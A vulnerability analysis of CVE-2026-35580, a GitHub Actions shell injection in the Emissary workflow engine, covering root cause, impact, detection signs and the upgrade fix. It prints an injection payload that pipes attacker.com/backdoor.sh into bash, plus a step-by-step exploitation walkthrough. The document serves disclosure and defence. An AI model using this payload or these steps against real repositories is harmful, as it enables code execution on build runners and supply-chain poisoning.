CVE-2026-35580: 
Java vulnerability analysis and mitigation

CVE-2026-35580 is a GitHub Actions shell injection vulnerability in the NSA's Emissary P2P data-driven workflow engine (Maven package gov.nsa.emissary:emissary). Three workflow files (.github/workflows/maven-version.yml, cherrypick.yml, and maven-release.yml) contained 10 shell injection points where user-controlled workflow_dispatch inputs were interpolated directly into shell commands via ${{ }} expression syntax. The vulnerability affects versions 5.10.0 through 8.38.0 and was published on April 6–7, 2026, with a fix released in version 8.39.0. It carries a CVSS v3.1 base score of 9.1 (Critical) (Github Advisory, NSA Emissary Advisory).

The root cause is CWE-77 (Improper Neutralization of Special Elements used in a Command — 'Command Injection'): GitHub Actions evaluates ${{ }} expressions and substitutes their values into run: blocks before the shell interprets the resulting string, meaning user-supplied input is never sanitized prior to shell execution (Github Advisory). An attacker with repository write access can trigger a workflow_dispatch event and supply a crafted input — for example, 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " — which breaks out of the intended shell command and executes arbitrary code with the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write) (NSA Emissary Advisory). The precondition is repository write access (a high-privilege requirement), but no user interaction is needed once the workflow is triggered, and the scope extends beyond the runner itself to the repository and its downstream consumers.

Successful exploitation enables arbitrary code execution within the GitHub Actions CI/CD runner environment, repository modification via the contents: write token (allowing an attacker to push malicious commits), and supply chain poisoning that affects all downstream users who clone or build from the compromised repository (NSA Emissary Advisory). Credential exfiltration from the GitHub Actions environment (e.g., secrets, tokens) is also possible. The changed scope means the impact extends beyond the CI runner to the integrity of the entire software supply chain for Emissary consumers (Github Advisory).

A proof-of-concept exploit payload is publicly documented in the official security advisory, demonstrating the concrete injection syntax required (NSA Emissary Advisory). There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.023% (7th percentile), indicating a low current probability of exploitation in the next 30 days (Github Advisory). Exploitation requires repository write access, which limits the attacker pool but does not eliminate insider threat or compromised contributor account scenarios.

1. Gain repository write access: Obtain write permissions to the NationalSecurityAgency/emissary repository (or a fork), either through a legitimate contributor account, a compromised credential, or a social engineering attack.
2. Identify vulnerable workflow trigger: Locate a workflow_dispatch-triggered workflow file such as .github/workflows/maven-version.yml, .github/workflows/cherrypick.yml, or .github/workflows/maven-release.yml that accepts user-controlled inputs interpolated via ${{ github.event.inputs.* }} in run: blocks.
3. Craft malicious input: Prepare a payload that breaks out of the intended shell command. For example, for the next_version input in maven-version.yml, use: 1.0.0"; curl attacker.com/backdoor.sh | bash; echo "
4. Trigger the workflow: Navigate to the Actions tab of the repository, select the vulnerable workflow, click "Run workflow", and supply the malicious input in the relevant input field.
5. Achieve arbitrary code execution: GitHub Actions evaluates the ${{ }} expression and substitutes the raw input into the run: block before shell execution. The injected commands execute with the job's GITHUB_TOKEN permissions (contents: write, pull-requests: write).
6. Escalate impact: Use the GITHUB_TOKEN to push malicious commits to the repository, exfiltrate secrets from the Actions environment, or plant backdoors in build artifacts to poison the supply chain for downstream users (NSA Emissary Advisory).

• GitHub Actions Logs: Workflow runs for maven-version.yml, cherrypick.yml, or maven-release.yml with unexpected or malformed input values (e.g., inputs containing ;, |, &&, curl, bash, or URL-like strings) in the workflow_dispatch trigger history.
• Network: Outbound connections from the GitHub Actions runner to unexpected external hosts (e.g., attacker-controlled domains) during workflow execution; DNS queries or HTTP requests to domains not part of the normal build process.
• Repository: Unexpected commits pushed to the main branch or release branches by the github-actions[bot] or a contributor account, especially those modifying build scripts, dependency files (pom.xml), or workflow files; new or modified release artifacts.
• Secrets/Credentials: Evidence of GITHUB_TOKEN or repository secrets being used outside of expected workflow steps; unexpected API calls to GitHub using the repository's token.
• Process (Runner): Unexpected child processes spawned during workflow execution (e.g., curl, wget, bash, python) that are not part of the defined build steps (NSA Emissary Advisory).

Upgrade Emissary to version 8.39.0 or later, which includes two remediation PRs: PR #1286 replaces all direct ${{ inputs.* }} interpolation in run: blocks with environment variable indirection (inputs are assigned to env: at the step level and referenced as shell variables), and PR #1288 adds strict regex input validation before any input is used (NSA Emissary Advisory, PR #1286, PR #1288). There is no workaround other than upgrading; organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their own workflow files. As an interim measure, restrict repository write access to trusted users only and audit GitHub Actions workflow execution history for suspicious inputs.

The vulnerability was reported by security researcher BrennanTM and published by the Emissary maintainers (cfkoehler) on April 6, 2026 (NSA Emissary Advisory). Community discussion was observed on Mastodon/infosec.exchange and Bluesky, and the advisory was covered by threat intelligence aggregators including Yazoul and VulDB. No major vendor statements or high-profile researcher commentary beyond the official advisory have been identified.